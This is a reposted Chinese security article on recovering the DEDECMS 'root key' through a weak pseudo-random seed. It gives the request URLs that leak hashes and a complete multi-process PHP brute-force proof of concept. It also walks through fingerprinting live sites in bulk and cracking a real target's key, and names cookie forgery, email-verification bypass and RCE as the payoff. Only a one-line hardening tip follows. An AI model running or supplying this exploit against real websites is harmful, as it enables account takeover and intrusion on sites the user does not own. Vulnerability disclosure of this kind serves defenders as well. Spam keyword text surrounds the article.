中文字幕av专区_日韩电影在线播放_精品国产精品久久一区免费式_av在线免费观看网站

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

DEDECMS如何獲取root key

發布時間:2021-09-13 09:31:35 來源:億速云 閱讀:167 作者:柒染 欄目:安全技術

本篇文章為大家展示了DEDECMS偽隨機漏洞分析之如何獲取root key,內容簡明扼要并且容易理解,絕對能使你眼前一亮,通過這篇文章的詳細介紹希望你能有所收獲。

1.用戶主頁

1.1 限制條件(中)

要求開啟會員功能

1.2 代碼分析

DEDECMS如何獲取root key

1.3 獲取方法

請求:(查看admin主頁)

url+/member/index.php?uid=admin

響應:

admin

last_vid_ckMd5 的hash值

DEDECMS如何獲取root key

2. 自定義表單

2.1 限制條件(低)

網站管理員需要為網站定義表單.

下載了幾套通過DEDECMS改造的模板, 都保留了該功能, 且大部分站點有自己的表單格式.或者說正常在使用的dedcms大部分都有表單: )

2.2 代碼分析

DEDECMS如何獲取root keyDEDECMS如何獲取root key

2.3 獲取方法

請求:(查看表單)

url+/plus/diy.php?diyid=1

響應:

dede_fieIds

dede_fieIdshash 這兩個值

DEDECMS如何獲取root key

3. POC

1. 保存如下代碼到dede_funcookie.php
2. 修改里面的$cpu, $attack_method, $attack_param, $attack_hash
3. 若是目標網站為php7: php7 dede_funcookie.php 若是目標網站為php5: php5 dede_funcookie.php,若是不明確可以兩個都跑 ε=ε=ε=(~ ̄▽ ̄)~
4. 在16核 CPU,8G內存下, 跑完整個程序需要 4444秒,建議不要同時跑兩個, 注意自己的CPU負載情況

<?php
$t1=microtime(true);
echo "開始時間: $t1\n";
//請填寫下面的信息
$cpu = 8; // cpu: CPU核數,$cpu對應到開啟的進程的數量,不宜過高
$attack_method = 2; // 碰撞類型: 如果是用戶主頁就是1, 自定義表單就是2
$attack_param = "";  // 數據: 選擇1填寫uid, 選擇2填寫dede_fields
$attack_hash = "";   // hash: 填寫hash

$max_ = 4294967296;
$targets_ = [];
$the_1 = (int)($max_ / $cpu);
$the_2 = $max_ % $cpu;
for ($i = 0; $i < $cpu; $i++){
    array_push($targets_,[($i)*$the_1,($i+1)*$the_1]);
}
$chars='abcdefghigklmnopqrstuvwxwyABCDEFGHIGKLMNOPQRSTUVWXWY0123456789';
$max = 61; // strlen($chars) - 1;
$already_test = 0;
for ($i = 0; $i < $cpu; $i++){
    $pid = pcntl_fork();
    if ($pid == -1) {
        die("could not fork");
    } elseif ($pid) {
        ;
        //echo $pid;
        //echo "I'm the Parent $i\n";
    } else {
        //var_dump($targets_[$i][0]);
        the_poc($targets_[$i][0],$targets_[$i][1],$i);
        exit;
    }
}

function the_poc($start,$end,$id){
    global $chars;
    global $max;
    global $attack_method;
    global $attack_param;
    global $attack_hash;
    $the_whole = (int)(($end-$start)/1000000);
    $i_do = 0;

    for($y = $start; $y<= $end; $y++) {
        if (($i_do%1000000) == 1){
                echo "$id 已完成(x1000000): ";
                echo (int)($i_do/1000000);
                echo "/$the_whole\n";
        }
        $i_do = $i_do + 1;
        srand($y);
        $length = rand(28,32);

        mt_srand($y);
        $rnd_cookieEncode='';
        for($i = 0; $i < $length; $i++) {
            $rnd_cookieEncode .= $chars[mt_rand(0, $max)];
        }
        if ($attack_method==1){
            if (substr(md5($rnd_cookieEncode.$attack_param),0,16) == $attack_hash){
                echo "here!!!!\n";
                echo $rnd_cookieEncode;
                echo "\n";
                echo $y;
                echo "\n";
                break;
            }
        }else{
            if (md5($attack_param.$rnd_cookieEncode) == $attack_hash){
                    echo "here!!!!\n";
                    echo $rnd_cookieEncode;
                    echo "\n";
                    echo $y;
                    echo "\n";
            }
        }
    }
}

// 等待子進程執行結束
while (pcntl_waitpid(0, $status) != -1) {
    $status = pcntl_wexitstatus($status);
    $pid = posix_getpid();
    echo "Child $status completed\n";
}
$t2=microtime(true)-$t1; //獲取程序1,結束的時間
echo "總計用時: $t2\n";
?>

四、危害

1. Cookie偽造

2. 通過郵箱認證

3. 前臺RCE

郵箱hash算法,唯一不知道的是rootkey, 通過poc跑出了rootkey,就能構造出來,然后訪問hash即可通過郵箱認證, 對于"dedecms前臺任意用戶登錄"的利用有些許幫助⑧

五、實戰

TIPS: 可以通過指紋,把hash全部采集到, 然后腳本跑一遍即可全部出結果, 因為全網的dedecms的root key分布在2^33這個范圍內: ), 在跑腳本遍歷這個范圍的時候其實都覆蓋到了.

FIND A Luck One:

1. 指紋查找

DEDECMS如何獲取root key

2. 碰撞data和hash

DEDECMS如何獲取root key

3. ATTACK:

修改一下dede_funcookie.php里面的參數:*本文作者:,轉載請注明來自FreeBuf.COM

$cpu = 16
$attack_method = 2
$attack_param = "name,text;tel,text;content,text;hz,text;qq,text"
$attack_hash = "a058f44c032cf2e4da07ebe80fbd52d8"

DEDECMS如何獲取root key

4. GET ROOT KEY AND ENJOY:

睡了一覺, 看一下結果:

在nohup2.out里面:

DEDECMS如何獲取root key

防護建議

可以考慮在rootkey后面手動加入一些值,或者生成算法部分加入當前時間、ip、servername,或者uuid混合一下,作為防護手段。

上述內容就是DEDECMS偽隨機漏洞分析之如何獲取root key,你們學到知識或技能了嗎?如果還想學到更多技能或者豐富自己的知識儲備,歡迎關注億速云行業資訊頻道。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

拜泉县| 库尔勒市| 增城市| 周口市| 玉溪市| 昂仁县| 吉木乃县| 贺州市| 湘乡市| 积石山| 随州市| 浦城县| 东丽区| 长乐市| 且末县| 怀宁县| 巴林左旗| 贵阳市| 新建县| 石河子市| 武川县| 尉氏县| 崇左市| 望城县| 卢氏县| 桂阳县| 齐河县| 偃师市| 定襄县| 车险| 岳普湖县| 浪卡子县| 波密县| 大足县| 星子县| 岳西县| 邢台县| 鲁甸县| 荣成市| 柯坪县| 沭阳县|